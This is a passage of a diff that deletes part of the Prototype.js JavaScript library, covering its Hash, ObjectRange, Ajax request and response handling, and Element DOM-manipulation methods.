-    return this.toPaddedString(2, 16);
-  },
-
-  succ: function() {
-    return this + 1;
-  },
-
-  times: function(iterator, context) {
-    $R(0, this, true).each(iterator, context);
-    return this;
-  },
-
-  toPaddedString: function(length, radix) {
-    var string = this.toString(radix || 10);
-    return '0'.times(length - string.length) + string;
-  },
-
-  toJSON: function() {
-    return isFinite(this) ? this.toString() : 'null';
-  }
-});
-
-$w('abs round ceil floor').each(function(method){
-  Number.prototype[method] = Math[method].methodize();
-});
-function $H(object) {
-  return new Hash(object);
-};
-
-var Hash = Class.create(Enumerable, (function() {
-
-  function toQueryPair(key, value) {
-    if (Object.isUndefined(value)) return key;
-    return key + '=' + encodeURIComponent(String.interpret(value));
-  }
-
-  return {
-    initialize: function(object) {
-      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
-    },
-
-    _each: function(iterator) {
-      for (var key in this._object) {
-        var value = this._object[key], pair = [key, value];
-        pair.key = key;
-        pair.value = value;
-        iterator(pair);
-      }
-    },
-
-    set: function(key, value) {
-      return this._object[key] = value;
-    },
-
-    get: function(key) {
-      // simulating poorly supported hasOwnProperty
-      if (this._object[key] !== Object.prototype[key])
-        return this._object[key];
-    },
-
-    unset: function(key) {
-      var value = this._object[key];
-      delete this._object[key];
-      return value;
-    },
-
-    toObject: function() {
-      return Object.clone(this._object);
-    },
-
-    keys: function() {
-      return this.pluck('key');
-    },
-
-    values: function() {
-      return this.pluck('value');
-    },
-
-    index: function(value) {
-      var match = this.detect(function(pair) {
-        return pair.value === value;
-      });
-      return match && match.key;
-    },
-
-    merge: function(object) {
-      return this.clone().update(object);
-    },
-
-    update: function(object) {
-      return new Hash(object).inject(this, function(result, pair) {
-        result.set(pair.key, pair.value);
-        return result;
-      });
-    },
-
-    toQueryString: function() {
-      return this.inject([], function(results, pair) {
-        var key = encodeURIComponent(pair.key), values = pair.value;
-
-        if (values && typeof values == 'object') {
-          if (Object.isArray(values))
-            return results.concat(values.map(toQueryPair.curry(key)));
-        } else results.push(toQueryPair(key, values));
-        return results;
-      }).join('&');
-    },
-
-    inspect: function() {
-      return '#<Hash:{' + this.map(function(pair) {
-        return pair.map(Object.inspect).join(': ');
-      }).join(', ') + '}>';
-    },
-
-    toJSON: function() {
-      return Object.toJSON(this.toObject());
-    },
-
-    clone: function() {
-      return new Hash(this);
-    }
-  }
-})());
-
-Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
-Hash.from = $H;
-var ObjectRange = Class.create(Enumerable, {
-  initialize: function(start, end, exclusive) {
-    this.start = start;
-    this.end = end;
-    this.exclusive = exclusive;
-  },
-
-  _each: function(iterator) {
-    var value = this.start;
-    while (this.include(value)) {
-      iterator(value);
-      value = value.succ();
-    }
-  },
-
-  include: function(value) {
-    if (value < this.start)
-      return false;
-    if (this.exclusive)
-      return value < this.end;
-    return value <= this.end;
-  }
-});
-
-var $R = function(start, end, exclusive) {
-  return new ObjectRange(start, end, exclusive);
-};
-
-var Ajax = {
-  getTransport: function() {
-    return Try.these(
-      function() {return new XMLHttpRequest()},
-      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
-      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
-    ) || false;
-  },
-
-  activeRequestCount: 0
-};
-
-Ajax.Responders = {
-  responders: [],
-
-  _each: function(iterator) {
-    this.responders._each(iterator);
-  },
-
-  register: function(responder) {
-    if (!this.include(responder))
-      this.responders.push(responder);
-  },
-
-  unregister: function(responder) {
-    this.responders = this.responders.without(responder);
-  },
-
-  dispatch: function(callback, request, transport, json) {
-    this.each(function(responder) {
-      if (Object.isFunction(responder[callback])) {
-        try {
-          responder[callback].apply(responder, [request, transport, json]);
-        } catch (e) { }
-      }
-    });
-  }
-};
-
-Object.extend(Ajax.Responders, Enumerable);
-
-Ajax.Responders.register({
-  onCreate:   function() { Ajax.activeRequestCount++ },
-  onComplete: function() { Ajax.activeRequestCount-- }
-});
-
-Ajax.Base = Class.create({
-  initialize: function(options) {
-    this.options = {
-      method:       'post',
-      asynchronous: true,
-      contentType:  'application/x-www-form-urlencoded',
-      encoding:     'UTF-8',
-      parameters:   '',
-      evalJSON:     true,
-      evalJS:       true
-    };
-    Object.extend(this.options, options || { });
-
-    this.options.method = this.options.method.toLowerCase();
-
-    if (Object.isString(this.options.parameters))
-      this.options.parameters = this.options.parameters.toQueryParams();
-    else if (Object.isHash(this.options.parameters))
-      this.options.parameters = this.options.parameters.toObject();
-  }
-});
-
-Ajax.Request = Class.create(Ajax.Base, {
-  _complete: false,
-
-  initialize: function($super, url, options) {
-    $super(options);
-    this.transport = Ajax.getTransport();
-    this.request(url);
-  },
-
-  request: function(url) {
-    this.url = url;
-    this.method = this.options.method;
-    var params = Object.clone(this.options.parameters);
-
-    if (!['get', 'post'].include(this.method)) {
-      // simulate other verbs over post
-      params['_method'] = this.method;
-      this.method = 'post';
-    }
-
-    this.parameters = params;
-
-    if (params = Object.toQueryString(params)) {
-      // when GET, append parameters to URL
-      if (this.method == 'get')
-        this.url += (this.url.include('?') ? '&' : '?') + params;
-      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
-        params += '&_=';
-    }
-
-    try {
-      var response = new Ajax.Response(this);
-      if (this.options.onCreate) this.options.onCreate(response);
-      Ajax.Responders.dispatch('onCreate', this, response);
-
-      this.transport.open(this.method.toUpperCase(), this.url,
-        this.options.asynchronous);
-
-      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
-
-      this.transport.onreadystatechange = this.onStateChange.bind(this);
-      this.setRequestHeaders();
-
-      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
-      this.transport.send(this.body);
-
-      /* Force Firefox to handle ready state 4 for synchronous requests */
-      if (!this.options.asynchronous && this.transport.overrideMimeType)
-        this.onStateChange();
-
-    }
-    catch (e) {
-      this.dispatchException(e);
-    }
-  },
-
-  onStateChange: function() {
-    var readyState = this.transport.readyState;
-    if (readyState > 1 && !((readyState == 4) && this._complete))
-      this.respondToReadyState(this.transport.readyState);
-  },
-
-  setRequestHeaders: function() {
-    var headers = {
-      'X-Requested-With': 'XMLHttpRequest',
-      'X-Prototype-Version': Prototype.Version,
-      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
-    };
-
-    if (this.method == 'post') {
-      headers['Content-type'] = this.options.contentType +
-        (this.options.encoding ? '; charset=' + this.options.encoding : '');
-
-      /* Force "Connection: close" for older Mozilla browsers to work
-       * around a bug where XMLHttpRequest sends an incorrect
-       * Content-length header. See Mozilla Bugzilla #246651.
-       */
-      if (this.transport.overrideMimeType &&
-          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
-            headers['Connection'] = 'close';
-    }
-
-    // user-defined headers
-    if (typeof this.options.requestHeaders == 'object') {
-      var extras = this.options.requestHeaders;
-
-      if (Object.isFunction(extras.push))
-        for (var i = 0, length = extras.length; i < length; i += 2)
-          headers[extras[i]] = extras[i+1];
-      else
-        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
-    }
-
-    for (var name in headers)
-      this.transport.setRequestHeader(name, headers[name]);
-  },
-
-  success: function() {
-    var status = this.getStatus();
-    return !status || (status >= 200 && status < 300);
-  },
-
-  getStatus: function() {
-    try {
-      return this.transport.status || 0;
-    } catch (e) { return 0 }
-  },
-
-  respondToReadyState: function(readyState) {
-    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
-
-    if (state == 'Complete') {
-      try {
-        this._complete = true;
-        (this.options['on' + response.status]
-         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
-         || Prototype.emptyFunction)(response, response.headerJSON);
-      } catch (e) {
-        this.dispatchException(e);
-      }
-
-      var contentType = response.getHeader('Content-type');
-      if (this.options.evalJS == 'force'
-          || (this.options.evalJS && this.isSameOrigin() && contentType
-          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
-        this.evalResponse();
-    }
-
-    try {
-      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
-      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
-    } catch (e) {
-      this.dispatchException(e);
-    }
-
-    if (state == 'Complete') {
-      // avoid memory leak in MSIE: clean up
-      this.transport.onreadystatechange = Prototype.emptyFunction;
-    }
-  },
-
-  isSameOrigin: function() {
-    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
-    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
-      protocol: location.protocol,
-      domain: document.domain,
-      port: location.port ? ':' + location.port : ''
-    }));
-  },
-
-  getHeader: function(name) {
-    try {
-      return this.transport.getResponseHeader(name) || null;
-    } catch (e) { return null }
-  },
-
-  evalResponse: function() {
-    try {
-      return eval((this.transport.responseText || '').unfilterJSON());
-    } catch (e) {
-      this.dispatchException(e);
-    }
-  },
-
-  dispatchException: function(exception) {
-    (this.options.onException || Prototype.emptyFunction)(this, exception);
-    Ajax.Responders.dispatch('onException', this, exception);
-  }
-});
-
-Ajax.Request.Events =
-  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
-
-Ajax.Response = Class.create({
-  initialize: function(request){
-    this.request = request;
-    var transport  = this.transport  = request.transport,
-        readyState = this.readyState = transport.readyState;
-
-    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
-      this.status       = this.getStatus();
-      this.statusText   = this.getStatusText();
-      this.responseText = String.interpret(transport.responseText);
-      this.headerJSON   = this._getHeaderJSON();
-    }
-
-    if(readyState == 4) {
-      var xml = transport.responseXML;
-      this.responseXML  = Object.isUndefined(xml) ? null : xml;
-      this.responseJSON = this._getResponseJSON();
-    }
-  },
-
-  status:      0,
-  statusText: '',
-
-  getStatus: Ajax.Request.prototype.getStatus,
-
-  getStatusText: function() {
-    try {
-      return this.transport.statusText || '';
-    } catch (e) { return '' }
-  },
-
-  getHeader: Ajax.Request.prototype.getHeader,
-
-  getAllHeaders: function() {
-    try {
-      return this.getAllResponseHeaders();
-    } catch (e) { return null }
-  },
-
-  getResponseHeader: function(name) {
-    return this.transport.getResponseHeader(name);
-  },
-
-  getAllResponseHeaders: function() {
-    return this.transport.getAllResponseHeaders();
-  },
-
-  _getHeaderJSON: function() {
-    var json = this.getHeader('X-JSON');
-    if (!json) return null;
-    json = decodeURIComponent(escape(json));
-    try {
-      return json.evalJSON(this.request.options.sanitizeJSON ||
-        !this.request.isSameOrigin());
-    } catch (e) {
-      this.request.dispatchException(e);
-    }
-  },
-
-  _getResponseJSON: function() {
-    var options = this.request.options;
-    if (!options.evalJSON || (options.evalJSON != 'force' &&
-      !(this.getHeader('Content-type') || '').include('application/json')) ||
-        this.responseText.blank())
-          return null;
-    try {
-      return this.responseText.evalJSON(options.sanitizeJSON ||
-        !this.request.isSameOrigin());
-    } catch (e) {
-      this.request.dispatchException(e);
-    }
-  }
-});
-
-Ajax.Updater = Class.create(Ajax.Request, {
-  initialize: function($super, container, url, options) {
-    this.container = {
-      success: (container.success || container),
-      failure: (container.failure || (container.success ? null : container))
-    };
-
-    options = Object.clone(options);
-    var onComplete = options.onComplete;
-    options.onComplete = (function(response, json) {
-      this.updateContent(response.responseText);
-      if (Object.isFunction(onComplete)) onComplete(response, json);
-    }).bind(this);
-
-    $super(url, options);
-  },
-
-  updateContent: function(responseText) {
-    var receiver = this.container[this.success() ? 'success' : 'failure'],
-        options = this.options;
-
-    if (!options.evalScripts) responseText = responseText.stripScripts();
-
-    if (receiver = $(receiver)) {
-      if (options.insertion) {
-        if (Object.isString(options.insertion)) {
-          var insertion = { }; insertion[options.insertion] = responseText;
-          receiver.insert(insertion);
-        }
-        else options.insertion(receiver, responseText);
-      }
-      else receiver.update(responseText);
-    }
-  }
-});
-
-Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
-  initialize: function($super, container, url, options) {
-    $super(options);
-    this.onComplete = this.options.onComplete;
-
-    this.frequency = (this.options.frequency || 2);
-    this.decay = (this.options.decay || 1);
-
-    this.updater = { };
-    this.container = container;
-    this.url = url;
-
-    this.start();
-  },
-
-  start: function() {
-    this.options.onComplete = this.updateComplete.bind(this);
-    this.onTimerEvent();
-  },
-
-  stop: function() {
-    this.updater.options.onComplete = undefined;
-    clearTimeout(this.timer);
-    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
-  },
-
-  updateComplete: function(response) {
-    if (this.options.decay) {
-      this.decay = (response.responseText == this.lastText ?
-        this.decay * this.options.decay : 1);
-
-      this.lastText = response.responseText;
-    }
-    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
-  },
-
-  onTimerEvent: function() {
-    this.updater = new Ajax.Updater(this.container, this.url, this.options);
-  }
-});
-function $(element) {
-  if (arguments.length > 1) {
-    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
-      elements.push($(arguments[i]));
-    return elements;
-  }
-  if (Object.isString(element))
-    element = document.getElementById(element);
-  return Element.extend(element);
-}
-
-if (Prototype.BrowserFeatures.XPath) {
-  document._getElementsByXPath = function(expression, parentElement) {
-    var results = [];
-    var query = document.evaluate(expression, $(parentElement) || document,
-      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-    for (var i = 0, length = query.snapshotLength; i < length; i++)
-      results.push(Element.extend(query.snapshotItem(i)));
-    return results;
-  };
-}
-
-/*--------------------------------------------------------------------------*/
-
-if (!window.Node) var Node = { };
-
-if (!Node.ELEMENT_NODE) {
-  // DOM level 2 ECMAScript Language Binding
-  Object.extend(Node, {
-    ELEMENT_NODE: 1,
-    ATTRIBUTE_NODE: 2,
-    TEXT_NODE: 3,
-    CDATA_SECTION_NODE: 4,
-    ENTITY_REFERENCE_NODE: 5,
-    ENTITY_NODE: 6,
-    PROCESSING_INSTRUCTION_NODE: 7,
-    COMMENT_NODE: 8,
-    DOCUMENT_NODE: 9,
-    DOCUMENT_TYPE_NODE: 10,
-    DOCUMENT_FRAGMENT_NODE: 11,
-    NOTATION_NODE: 12
-  });
-}
-
-(function() {
-  var element = this.Element;
-  this.Element = function(tagName, attributes) {
-    attributes = attributes || { };
-    tagName = tagName.toLowerCase();
-    var cache = Element.cache;
-    if (Prototype.Browser.IE && attributes.name) {
-      tagName = '<' + tagName + ' name="' + attributes.name + '">';
-      delete attributes.name;
-      return Element.writeAttribute(document.createElement(tagName), attributes);
-    }
-    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
-    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
-  };
-  Object.extend(this.Element, element || { });
-  if (element) this.Element.prototype = element.prototype;
-}).call(window);
-
-Element.cache = { };
-
-Element.Methods = {
-  visible: function(element) {
-    return $(element).style.display != 'none';
-  },
-
-  toggle: function(element) {
-    element = $(element);
-    Element[Element.visible(element) ? 'hide' : 'show'](element);
-    return element;
-  },
-
-  hide: function(element) {
-    element = $(element);
-    element.style.display = 'none';
-    return element;
-  },
-
-  show: function(element) {
-    element = $(element);
-    element.style.display = '';
-    return element;
-  },
-
-  remove: function(element) {
-    element = $(element);
-    element.parentNode.removeChild(element);
-    return element;
-  },
-
-  update: function(element, content) {
-    element = $(element);
-    if (content && content.toElement) content = content.toElement();
-    if (Object.isElement(content)) return element.update().insert(content);
-    content = Object.toHTML(content);
-    element.innerHTML = content.stripScripts();
-    content.evalScripts.bind(content).defer();
-    return element;
-  },
-
-  replace: function(element, content) {
-    element = $(element);
-    if (content && content.toElement) content = content.toElement();
-    else if (!Object.isElement(content)) {
-      content = Object.toHTML(content);
-      var range = element.ownerDocument.createRange();
-      range.selectNode(element);
-      content.evalScripts.bind(content).defer();
-      content = range.createContextualFragment(content.stripScripts());
-    }
-    element.parentNode.replaceChild(content, element);
-    return element;
-  },
-
-  insert: function(element, insertions) {
-    element = $(element);
-
-    if (Object.isString(insertions) || Object.isNumber(insertions) ||
-        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
-          insertions = {bottom:insertions};
-
-    var content, insert, tagName, childNodes;
-
-    for (var position in insertions) {
-      content  = insertions[position];
-      position = position.toLowerCase();
-      insert = Element._insertionTranslations[position];
-
-      if (content && content.toElement) content = content.toElement();
-      if (Object.isElement(content)) {
-        insert(element, content);
-        continue;
-      }
-
-      content = Object.toHTML(content);
-
-      tagName = ((position == 'before' || position == 'after')
-        ? element.parentNode : element).tagName.toUpperCase();
-
-      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
-
-      if (position == 'top' || position == 'after') childNodes.reverse();
-      childNodes.each(insert.curry(element));
-
-      content.evalScripts.bind(content).defer();
-    }
-
-    return element;
-  },
-
-  wrap: function(element, wrapper, attributes) {
-    element = $(element);
-    if (Object.isElement(wrapper))
-      $(wrapper).writeAttribute(attributes || { });
-    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
-    else wrapper = new Element('div', wrapper);
-    if (element.parentNode)
-      element.parentNode.replaceChild(wrapper, element);
-    wrapper.appendChild(element);
-    return wrapper;
-  },
-
-  inspect: function(element) {
-    element = $(element);
-    var result = '<' + element.tagName.toLowerCase();
-    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
-      var property = pair.first(), attribute = pair.last();
-      var value = (element[property] || '').toString();
-      if (value) result += ' ' + attribute + '=' + value.inspect(true);
-    });
-    return result + '>';
-  },
-
-  recursivelyCollect: function(element, property) {
-    element = $(element);
-    var elements = [];
-    while (element = element[property])
-      if (element.nodeType == 1)
-        elements.push(Element.extend(element));
-    return elements;
-  },
-
-  ancestors: function(element) {
-    return $(element).recursivelyCollect('parentNode');
-  },
-
-  descendants: function(element) {
-    return $(element).select("*");
-  },
-
-  firstDescendant: function(element) {
-    element = $(element).firstChild;
-    while (element && element.nodeType != 1) element = element.nextSibling;
-    return $(element);
-  },
-
-  immediateDescendants: function(element) {
-    if (!(element = $(element).firstChild)) return [];
-    while (element && element.nodeType != 1) element = element.nextSibling;
-    if (element) return [element].concat($(element).nextSiblings());
-    return [];
-  },
-
-  previousSiblings: function(element) {
-    return $(element).recursivelyCollect('previousSibling');
-  },
-
-  nextSiblings: function(element) {
-    return $(element).recursivelyCollect('nextSibling');
-  },
-
-  siblings: function(element) {
-    element = $(element);
-    return element.previousSiblings().reverse().concat(element.nextSiblings());
-  },
-
-  match: function(element, selector) {
-    if (Object.isString(selector))
-      selector = new Selector(selector);
-    return selector.match($(element));
-  },
-
-  up: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(element.parentNode);
-    var ancestors = element.ancestors();
-    return Object.isNumber(expression) ? ancestors[expression] :
-      Selector.findElement(ancestors, expression, index);
-  },
-
-  down: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return element.firstDescendant();
-    return Object.isNumber(expression) ? element.descendants()[expression] :
-      Element.select(element, expression)[index || 0];
-  },
-
-  previous: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
-    var previousSiblings = element.previousSiblings();
-    return Object.isNumber(expression) ? previousSiblings[expression] :
-      Selector.findElement(previousSiblings, expression, index);
-  },
-
-  next: function(element, expression, index) {
-    element = $(element);
-    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
-    var nextSiblings = element.nextSiblings();
-    return Object.isNumber(expression) ? nextSiblings[expression] :
-      Selector.findElement(nextSiblings, expression, index);
-  },
-
-  select: function() {
-    var args = $A(arguments), element = $(args.shift());
-    return Selector.findChildElements(element, args);
-  },
-
-  adjacent: function() {
-    var args = $A(arguments), element = $(args.shift());
-    return Selector.findChildElements(element.parentNode, args).without(element);
-  },
-
-  identify: function(element) {
-    element = $(element);
-    var id = element.readAttribute('id'), self = arguments.callee;
-    if (id) return id;
-    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
-    element.writeAttribute('id', id);
-    return id;
-  },
-
-  readAttribute: function(element, name) {
-    element = $(element);
-    if (Prototype.Browser.IE) {
-      var t = Element._attributeTranslations.read;
-      if (t.values[name]) return t.values[name](element, name);
-      if (t.names[name]) name = t.names[name];
-      if (name.include(':')) {
-        return (!element.attributes || !element.attributes[name]) ? null :
-         element.attributes[name].value;
-      }
-    }
-    return element.getAttribute(name);
-  },
-
-  writeAttribute: function(element, name, value) {
-    element = $(element);
-    var attributes = { }, t = Element._attributeTranslations.write;
-
-    if (typeof name == 'object') attributes = name;
-    else attributes[name] = Object.isUndefined(value) ? true : value;
-
-    for (var attr in attributes) {
-      name = t.names[attr] || attr;
-      value = attributes[attr];
-      if (t.values[attr]) name = t.values[attr](element, value);
-      if (value === false || value === null)
-        element.removeAttribute(name);
-      else if (value === true)
-        element.setAttribute(name, name);
-      else element.setAttribute(name, value);
-    }
-    return element;
-  },
-
-  getHeight: function(element) {
-    return $(element).getDimensions().height;
-  },
-
-  getWidth: function(element) {
-    return $(element).getDimensions().width;
-  },
-
-  classNames: function(element) {
-    return new Element.ClassNames(element);
-  },
-
-  hasClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    var elementClassName = element.className;
-    return (elementClassName.length > 0 && (elementClassName == className ||
-      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
-  },
-
-  addClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    if (!element.hasClassName(className))
-      element.className += (element.className ? ' ' : '') + className;
-    return element;
-  },
-
-  removeClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    element.className = element.className.replace(
-      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
-    return element;
-  },
-
-  toggleClassName: function(element, className) {
-    if (!(element = $(element))) return;
-    return element[element.hasClassName(className) ?
-      'removeClassName' : 'addClassName'](className);
-  },
-
-  // removes whitespace-only text node children
-  cleanWhitespace: function(element) {
-    element = $(element);
-    var node = element.firstChild;
-    while (node) {
-      var nextNode = node.nextSibling;
-      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
-        element.removeChild(node);
-      node = nextNode;
-    }
-    return element;
-  },
-
-  empty: function(element) {
-    return $(element).innerHTML.blank();
-  },
-
-  descendantOf: function(element, ancestor) {
-    element = $(element), ancestor = $(ancestor);
-
-    if (element.compareDocumentPosition)
-      return (element.compareDocumentPosition(ancestor) & 8) === 8;
-
-    if (ancestor.contains)
-      return ancestor.contains(element) && ancestor !== element;
-
-    while (element = element.parentNode)
-      if (element == ancestor) return true;
-
-    return false;
-  },
-
-  scrollTo: function(element) {
-    element = $(element);
-    var pos = element.cumulativeOffset();
-    window.scrollTo(pos[0], pos[1]);
-    return element;
-  },
-
-  getStyle: function(element, style) {
-    element = $(element);
-    style = style == 'float' ? 'cssFloat' : style.camelize();
-    var value = element.style[style];
-    if (!value || value == 'auto') {
-      var css = document.defaultView.getComputedStyle(element, null);
-      value = css ? css[style] : null;
-    }
-    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
-    return value == 'auto' ? null : value;
-  },
-
-  getOpacity: function(element) {
-    return $(element).getStyle('opacity');
-  },
-
-  setStyle: function(element, styles) {
-    element = $(element);
-    var elementStyle = element.style, match;
-    if (Object.isString(styles)) {
-      element.style.cssText += ';' + styles;
-      return styles.include('opacity') ?
-        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
-    }
-    for (var property in styles)
-      if (property == 'opacity') element.setOpacity(styles[property]);
-      else
-        elementStyle[(property == 'float' || property == 'cssFloat') ?
-          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
-            property] = styles[property];
-
-    return element;
-  },
-
-  setOpacity: function(element, value) {
-    element = $(element);
-    element.style.opacity = (value == 1 || value === '') ? '' :
-      (value < 0.00001) ? 0 : value;
-    return element;
-  },
-
-  getDimensions: function(element) {
-    element = $(element);
-    var display = element.getStyle('display');
-    if (display != 'none' && display != null) // Safari bug
-      return {width: element.offsetWidth, height: element.offsetHeight};
-
-    // All *Width and *Height properties give 0 on elements with display none,
-    // so enable the element temporarily
-    var els = element.style;
-    var originalVisibility = els.visibility;
-    var originalPosition = els.position;
-    var originalDisplay = els.display;
-    els.visibility = 'hidden';
-    els.position = 'absolute';
-    els.display = 'block';
-    var originalWidth = element.clientWidth;
-    var originalHeight = element.clientHeight;
-    els.display = originalDisplay;
-    els.position = originalPosition;
-    els.visibility = originalVisibility;
-    return {width: originalWidth, height: originalHeight};
-  },
-
-  makePositioned: function(element) {
-    element = $(element);
-    var pos = Element.getStyle(element, 'position');
-    if (pos == 'static' || !pos) {
-      element._madePositioned = true;
-      element.style.position = 'relative';
-      // Opera returns the offset relative to the positioning context, when an
-      // element is position relative but top and left have not been defined
-      if (Prototype.Browser.Opera) {
-        element.style.top = 0;
-        element.style.left = 0;
-      }
-    }
-    return element;
-  },
-
-  undoPositioned: function(element) {
-    element = $(element);
-    if (element._madePositioned) {
-      element._madePositioned = undefined;
-      element.style.position =
-        element.style.top =
-        element.style.left =
-        element.style.bottom =
-        element.style.right = '';
-    }
-    return element;
-  },
-
-  makeClipping: function(element) {
-    element = $(element);
-    if (element._overflow) return element;
-    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
-    if (element._overflow !== 'hidden')
-      element.style.overflow = 'hidden';
-    return element;
-  },
-
-  undoClipping: function(element) {
-    element = $(element);
-    if (!element._overflow) return element;
-    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
-    element._overflow = null;
-    return element;
-  },
-
-  cumulativeOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      element = element.offsetParent;
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  positionedOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-      element = element.offsetParent;
-      if (element) {
-        if (element.tagName.toUpperCase() == 'BODY') break;
-        var p = Element.getStyle(element, 'position');
-        if (p !== 'static') break;
-      }
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  absolutize: function(element) {
-    element = $(element);
-    if (element.getStyle('position') == 'absolute') return element;
-    // Position.prepare(); // To be done manually by Scripty when it needs it.
-
-    var offsets = element.positionedOffset();
-    var top     = offsets[1];
-    var left    = offsets[0];
-    var width   = element.clientWidth;
-    var height  = element.clientHeight;
-
-    element._originalLeft   = left - parseFloat(element.style.left  || 0);
-    element._originalTop    = top  - parseFloat(element.style.top || 0);
-    element._originalWidth  = element.style.width;
-    element._originalHeight = element.style.height;
-
-    element.style.position = 'absolute';
-    element.style.top    = top + 'px';
-    element.style.left   = left + 'px';
-    element.style.width  = width + 'px';
-    element.style.height = height + 'px';
-    return element;
-  },
-
-  relativize: function(element) {
-    element = $(element);
-    if (element.getStyle('position') == 'relative') return element;
-    // Position.prepare(); // To be done manually by Scripty when it needs it.
-
-    element.style.position = 'relative';
-    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
-    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
-
-    element.style.top    = top + 'px';
-    element.style.left   = left + 'px';
-    element.style.height = element._originalHeight;
-    element.style.width  = element._originalWidth;
-    return element;
-  },
-
-  cumulativeScrollOffset: function(element) {
-    var valueT = 0, valueL = 0;
-    do {
-      valueT += element.scrollTop  || 0;
-      valueL += element.scrollLeft || 0;
-      element = element.parentNode;
-    } while (element);
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  getOffsetParent: function(element) {
-    if (element.offsetParent) return $(element.offsetParent);
-    if (element == document.body) return $(element);
-
-    while ((element = element.parentNode) && element != document.body)
-      if (Element.getStyle(element, 'position') != 'static')
-        return $(element);
-
-    return $(document.body);
-  },
-
-  viewportOffset: function(forElement) {
-    var valueT = 0, valueL = 0;
-
-    var element = forElement;
-    do {
-      valueT += element.offsetTop  || 0;
-      valueL += element.offsetLeft || 0;
-
-      // Safari fix
-      if (element.offsetParent == document.body &&
-        Element.getStyle(element, 'position') == 'absolute') break;
-
-    } while (element = element.offsetParent);
-
-    element = forElement;
-    do {
-      if (!Prototype.Browser.Opera || (element.tagName && (element.tagName.toUpperCase() == 'BODY'))) {
-        valueT -= element.scrollTop  || 0;
-        valueL -= element.scrollLeft || 0;
-      }
-    } while (element = element.parentNode);
-
-    return Element._returnOffset(valueL, valueT);
-  },
-
-  clonePosition: function(element, source) {
-    var options = Object.extend({
-      setLeft:    true,
-      setTop:     true,
-      setWidth:   true,
-      setHeight:  true,
-      offsetTop:  0,
-      offsetLeft: 0
-    }, arguments[2] || { });
-
-    // find page position of source
-    source = $(source);
-    var p = source.viewportOffset();
-
-    // find coordinate system to use
-    element = $(element);
-    var delta = [0, 0];
-    var parent = null;
-    // delta [0,0] will do fine with position: fixed elements,
-    // position:absolute needs offsetParent deltas
-    if (Element.getStyle(element, 'position') == 'absolute') {
-      parent = element.getOffsetParent();
-      delta = parent.viewportOffset();
-    }
-
-    // correct by body offsets (fixes Safari)
-    if (parent == document.body) {
-      delta[0] -= document.body.offsetLeft;
-      delta[1] -= document.body.offsetTop;
-    }
-
-    // set position
-    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
-    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
-    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
-    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
-    return element;
-  }
-};
-
-Element.Methods.identify.counter = 1;
-
-Object.extend(Element.Methods, {
-  getElementsBySelector: Element.Methods.select,
-  childElements: Element.Methods.immediateDescendants
-});
-
-Element._attributeTranslations = {
-  write: {
-    names: {
-      className: 'class',
-      htmlFor:   'for'
-    },
-    values: { }
-  }
-};
-
-if (Prototype.Browser.Opera) {
-  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
-    function(proceed, element, style) {
-      switch (style) {
